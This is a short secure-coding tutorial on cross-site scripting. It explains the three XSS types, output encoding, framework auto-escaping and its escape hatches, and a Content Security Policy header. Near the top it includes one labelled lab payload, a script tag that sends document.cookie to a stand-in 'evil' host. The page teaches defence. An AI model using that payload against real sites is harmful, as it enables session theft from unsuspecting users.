XSS runs the attacker’s JavaScript in your users’ browsers. Learn the three types, stop it with output encoding and a Content Security Policy, and know where frameworks help.
Why: XSS is when attacker-controlled data is rendered as executable script in a victim’s browser, and it comes in three forms — stored (persisted, e.g. a malicious comment), reflected (bounced back from a request), and DOM-based (client-side JS writes untrusted data into the page). When: any place untrusted data reaches the page is a candidate. Where: the impact is session theft, keylogging, and acting as the victim.
STORED payload saved server-side (comment, profile) -> hits every viewer
REFLECTED payload in the request, echoed into the response -> per-victim link
DOM-BASED client-side JS writes untrusted data into the DOM -> never hits server
Payload example (in your lab): <script>fetch('//evil/'+document.cookie)</script>
Goal of the attacker: run JS as the victim -> steal session, act as them.Why: the fix is to treat untrusted data as data, not markup — encode it for the context where it is rendered (HTML, attribute, JS, URL) so the browser shows characters instead of executing them. When: encode on output, in the right context; modern frameworks (React, Angular, Vue) auto-escape HTML for you. Where: the danger zones are the escape hatches — dangerouslySetInnerHTML, v-html, innerHTML — and non-HTML contexts.
// Frameworks auto-escape by default — this renders as TEXT, safe:
function Comment({ text }: { text: string }) {
return <p>{text}</p> // <script> shows as literal characters
}
// DANGER: the escape hatches inject raw HTML with no encoding:
// React: dangerouslySetInnerHTML={{ __html: userInput }}
// Vue: v-html="userInput"
// DOM: element.innerHTML = userInput
// If you MUST render HTML, sanitize first with DOMPurify. (See the Web
// Security course for the React-specific details.)Why: even with encoding, a Content Security Policy (CSP) is a powerful second layer — it tells the browser which script sources are allowed, so an injected inline script simply does not run. When: deploy a strict CSP as defense in depth, not a replacement for encoding. Where: CSP turns a would-be XSS into a blocked, reportable event.
# A response header that blocks inline scripts and restricts sources:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
# An injected <script>...</script> won't execute -> XSS is neutralized.
# CSP also reports violations, so a blocked attempt becomes a detection signal.
# Layer it: output encoding (prevent) + CSP (backstop) + HttpOnly cookies.